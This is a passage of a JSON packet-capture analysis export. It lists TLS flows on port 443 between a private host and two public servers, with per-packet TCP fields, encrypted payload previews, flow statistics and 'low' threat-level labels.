\"timestamp\": 1781447323.884326, \"timestamp_iso\": \"2026-06-14T19:58:43.884326\", \"timestamp_human\": \"2026-06-14 19:58:43.884\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44956, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881163, \"tcp_ack\": 3746062692, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"610433cd956960826e746de5c8353e1ad9ed30c6a2a0e47ba03192e6f01299f8ca8e738af4b5e4605cfad23843662377adf7fee13c1f250e8170d27bb6e0e176c71a839d3ff90b10ae0dcc347eaaaa78dda3d20b9deb1ee07a9adf9dc7a7717bc6bf\", \"payload_ascii\": \"a\\u00043i`ntm5>\\u001a0{1\\u0012s`\\\\8Cf#w<\\u001f%\\u000ep{v\\u001a?\\u000b\\u0010\\r4~x\\u000b\\u001ezq{\"}, {\"packet_number\": 65, \"timestamp\": 1781447325.066843, \"timestamp_iso\": \"2026-06-14T19:58:45.066843\", \"timestamp_human\": \"2026-06-14 19:58:45.066\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44957, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881321, \"tcp_ack\": 3746063119, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 66, \"timestamp\": 1781447325.069209, \"timestamp_iso\": \"2026-06-14T19:58:45.069209\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44958, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881321, \"tcp_ack\": 3746063119, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 68, \"timestamp\": 1781447325.069318, \"timestamp_iso\": \"2026-06-14T19:58:45.069318\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44959, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881408, \"tcp_ack\": 3746063119, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 70, \"timestamp\": 1781447325.069487, \"timestamp_iso\": \"2026-06-14T19:58:45.069487\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44960, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881446, \"tcp_ack\": 3746063119, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 73, \"timestamp\": 1781447325.525011, \"timestamp_iso\": \"2026-06-14T19:58:45.525011\", \"timestamp_human\": \"2026-06-14 19:58:45.525\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44961, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881562, \"tcp_ack\": 3746064225, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 74, \"timestamp\": 1781447325.525762, \"timestamp_iso\": \"2026-06-14T19:58:45.525762\", \"timestamp_human\": \"2026-06-14 19:58:45.525\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44962, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881562, \"tcp_ack\": 3746064225, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1781447325.818829, \"timestamp_iso\": \"2026-06-14T19:58:45.818829\", \"timestamp_human\": \"2026-06-14 19:58:45.818\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44963, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881626, \"tcp_ack\": 3746064922, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 78, \"timestamp\": 1781447325.820841, \"timestamp_iso\": \"2026-06-14T19:58:45.820841\", \"timestamp_human\": \"2026-06-14 19:58:45.820\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44964, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881626, \"tcp_ack\": 3746064922, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 81, \"timestamp\": 1781447326.533632, \"timestamp_iso\": \"2026-06-14T19:58:46.533632\", \"timestamp_human\": \"2026-06-14 19:58:46.533\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44965, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881696, \"tcp_ack\": 3746065551, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 129, \"timestamp\": 1781447330.802238, \"timestamp_iso\": \"2026-06-14T19:58:50.802238\", \"timestamp_human\": \"2026-06-14 19:58:50.802\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44966, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881696, \"tcp_ack\": 3746065551, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 260, 54, 54, 212, 54, 141, 92, 170, 54, 118, 54, 124, 54, 54], \"inter_packet_intervals\": [0.00030493736267089844, 0.0004050731658935547, 0.7143740653991699, 0.00012683868408203125, 0.0035600662231445312, 1.1825170516967773, 0.0023660659790039062, 0.00010895729064941406, 0.0001690387725830078, 0.4555239677429199, 0.0007510185241699219, 0.29306697845458984, 0.002012014389038086, 0.7127909660339355, 4.268605947494507], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 7.636682987213135, \"avg_packet_size\": 100.9375, \"packets_per_second\": 2.095150476560361, \"bytes_per_second\": 211.47925122781143, \"min_packet_size\": 54, \"max_packet_size\": 260, \"median_packet_size\": 66, \"avg_interval\": 0.5091121991475424, \"min_interval\": 0.00010895729064941406, \"max_interval\": 4.268605947494507}, {\"source\": \"52.98.232.34\", \"target\": \"10.152.152.11\", \"packet_count\": 14, \"total_bytes\": 7991, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64008], \"first_packet\": 1781447323.165582, \"last_packet\": 1781447326.533236, \"packets\": [{\"packet_number\": 54, \"timestamp\": 1781447323.165582, \"timestamp_iso\": \"2026-06-14T19:58:43.165582\", \"timestamp_human\": \"2026-06-14 19:58:43.165\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746058327, \"tcp_ack\": 53880957, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 57, \"timestamp\": 1781447323.166271, \"timestamp_iso\": \"2026-06-14T19:58:43.166271\", \"timestamp_human\": \"2026-06-14 19:58:43.166\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51329, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746058328, \"tcp_ack\": 53881163, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 58, \"timestamp\": 1781447323.880333, \"timestamp_iso\": \"2026-06-14T19:58:43.880333\", \"timestamp_human\": \"2026-06-14 19:58:43.880\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51330, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746058328, \"tcp_ack\": 53881163, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 60, \"timestamp\": 1781447323.880665, \"timestamp_iso\": \"2026-06-14T19:58:43.880665\", \"timestamp_human\": \"2026-06-14 19:58:43.880\", \"size\": 370, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51333, \"ip_len\": 356, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746062376, \"tcp_ack\": 53881163, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 316, \"payload_preview\": \"60dbe014319989ba28d1496aa96e97aed64a62c86f60a29591f88cb2acc6ef84914127954f6a8085db6b96727b72a306f8eebd1e080401008ec345940db2e9ed07292ed6cd798eceb1c0261de7531a955c5afb6beb3b808f6083d36f72c55696261eae9f1603fd2f95370a1bfefb2ac42a74311ac334a850b42a143fc12b3a57105596fdf35e6ea2bace1e287542845230401bd145ae3d23b5c62f1017fadbb900a86e39a6475ecc361141a6884bbd759622308fec3d1ae75588a64d8d5d5b6c548989534648a36e7afb71a68a178d46ce292a18316aec044a6699411a3baf408edd674d6de1b989303b7f3b52886f89cea5a71bcfa1be3a67937de84036f6b306637b317ab22dc508256ff0d3f29e5e78d336c0550754f1f1f0cf0d4022a3b7317ae1a94f118371e60c139501f41b1824cddbcd906bcdd10e000000\", \"payload_ascii\": \"`\\u00141(IjnJbo`A'Ojkr{r\\u0006\\u001e\\b\\u0004\\u0001\\u0000E\\r\\u0007).y&\\u001dS\\u001a\\\\Zk;`orV&\\u001e\\u0016\\u0003/7\\n\\u001b**t1\\u001a4P*\\u0014?+:W\\u0010U^n\\u001e(uBR0@\\u001bE=#/\\u0010\\u0017\\u0000n9G^6\\u0011AKu\\\"0=\\u001aUM][lTSFHnzq\\u0017F)*\\u00181j\\u0004JfA\\u001a;@gMm0;\\u007f;Ro\\u001b:g}@6\\u0006c{1z-\\b%o^x6U\\u0007T\\r@\\\"1zO\\u0011q\\f\\u0013\\u0001\\u001b\\u0018$k\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 63, \"timestamp\": 1781447323.884337, \"timestamp_iso\": \"2026-06-14T19:58:43.884337\", \"timestamp_human\": \"2026-06-14 19:58:43.884\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51334, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746062692, \"tcp_ack\": 53881321, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 64, \"timestamp\": 1781447325.066489, \"timestamp_iso\": \"2026-06-14T19:58:45.066489\", \"timestamp_human\": \"2026-06-14 19:58:45.066\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51335, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746062692, \"tcp_ack\": 53881321, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"dedeee1abe8c454ab768666133cfd583c343cafd7483fbbacfc3ebb6d46800af\", \"payload_ascii\": \"\\u001aEJhfa3Cth\\u0000\"}, {\"packet_number\": 67, \"timestamp\": 1781447325.069217, \"timestamp_iso\": \"2026-06-14T19:58:45.069217\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51336, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746063119, \"tcp_ack\": 53881408, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 69, \"timestamp\": 1781447325.069323, \"timestamp_iso\": \"2026-06-14T19:58:45.069323\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51337, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746063119, \"tcp_ack\": 53881446, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 71, \"timestamp\": 1781447325.069492, \"timestamp_iso\": \"2026-06-14T19:58:45.069492\", \"timestamp_human\": \"2026-06-14 19:58:45.069\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51338, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746063119, \"tcp_ack\": 53881562, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 72, \"timestamp\": 1781447325.524664, \"timestamp_iso\": \"2026-06-14T19:58:45.524664\", \"timestamp_human\": \"2026-06-14 19:58:45.524\", \"size\": 1160, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51339, \"ip_len\": 1146, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746063119, \"tcp_ack\": 53881562, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 75, \"timestamp\": 1781447325.52577, \"timestamp_iso\": \"2026-06-14T19:58:45.525770\", \"timestamp_human\": \"2026-06-14 19:58:45.525\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51340, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746064225, \"tcp_ack\": 53881626, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 76, \"timestamp\": 1781447325.818606, \"timestamp_iso\": \"2026-06-14T19:58:45.818606\", \"timestamp_human\": \"2026-06-14 19:58:45.818\", \"size\": 751, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51341, \"ip_len\": 737, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746064225, \"tcp_ack\": 53881626, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 79, \"timestamp\": 1781447325.820847, \"timestamp_iso\": \"2026-06-14T19:58:45.820847\", \"timestamp_human\": \"2026-06-14 19:58:45.820\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51342, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746064922, \"tcp_ack\": 53881696, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 80, \"timestamp\": 1781447326.533236, \"timestamp_iso\": \"2026-06-14T19:58:46.533236\", \"timestamp_human\": \"2026-06-14 19:58:46.533\", \"size\": 683, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.98.232.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51343, \"ip_len\": 669, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64008, \"tcp_seq\": 3746064922, \"tcp_ack\": 53881696, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 14, \"PSH\": 6}, \"packet_sizes\": [66, 54, 4102, 370, 54, 481, 54, 54, 54, 1160, 54, 751, 54, 683], \"inter_packet_intervals\": [0.0006890296936035156, 0.714061975479126, 0.00033211708068847656, 0.003671884536743164, 1.1821520328521729, 0.002727985382080078, 0.00010609626770019531, 0.0001690387725830078, 0.4551718235015869, 0.0011060237884521484, 0.29283595085144043, 0.0022411346435546875, 0.7123889923095703], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 3.3676540851593018, \"avg_packet_size\": 570.7857142857143, \"packets_per_second\": 4.1571965665047665, \"bytes_per_second\": 2372.868411638542, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 0.2590503142430232, \"min_interval\": 0.00010609626770019531, \"max_interval\": 1.1821520328521729}, {\"source\": \"10.152.152.11\", \"target\": \"52.97.201.82\", \"packet_count\": 18, \"total_bytes\": 1725, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [64012], \"dst_ports\": [443], \"first_packet\": 1781447326.772606, \"last_packet\": 1781447330.802219, \"packets\": [{\"packet_number\": 82, \"timestamp\": 1781447326.772606, \"timestamp_iso\": \"2026-06-14T19:58:46.772606\", \"timestamp_human\": \"2026-06-14 19:58:46.772\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61255, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293566, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 84, \"timestamp\": 1781447326.772843, \"timestamp_iso\": \"2026-06-14T19:58:46.772843\", \"timestamp_human\": \"2026-06-14 19:58:46.772\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61256, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293567, \"tcp_ack\": 2330688478, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 85, \"timestamp\": 1781447326.773158, \"timestamp_iso\": \"2026-06-14T19:58:46.773158\", \"timestamp_human\": \"2026-06-14 19:58:46.773\", \"size\": 262, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61257, \"ip_len\": 248, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293567, \"tcp_ack\": 2330688478, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 89, \"timestamp\": 1781447327.201236, \"timestamp_iso\": \"2026-06-14T19:58:47.201236\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61258, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 443, \"tcp_seq\": 1256293775, \"tcp_ack\": 2330690430, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 91, \"timestamp\": 1781447327.201312, \"timestamp_iso\": \"2026-06-14T19:58:47.201312\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.201.82\", \"ttl\": 128, \"ip_id\": 61259, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64012, \"dst_port\": 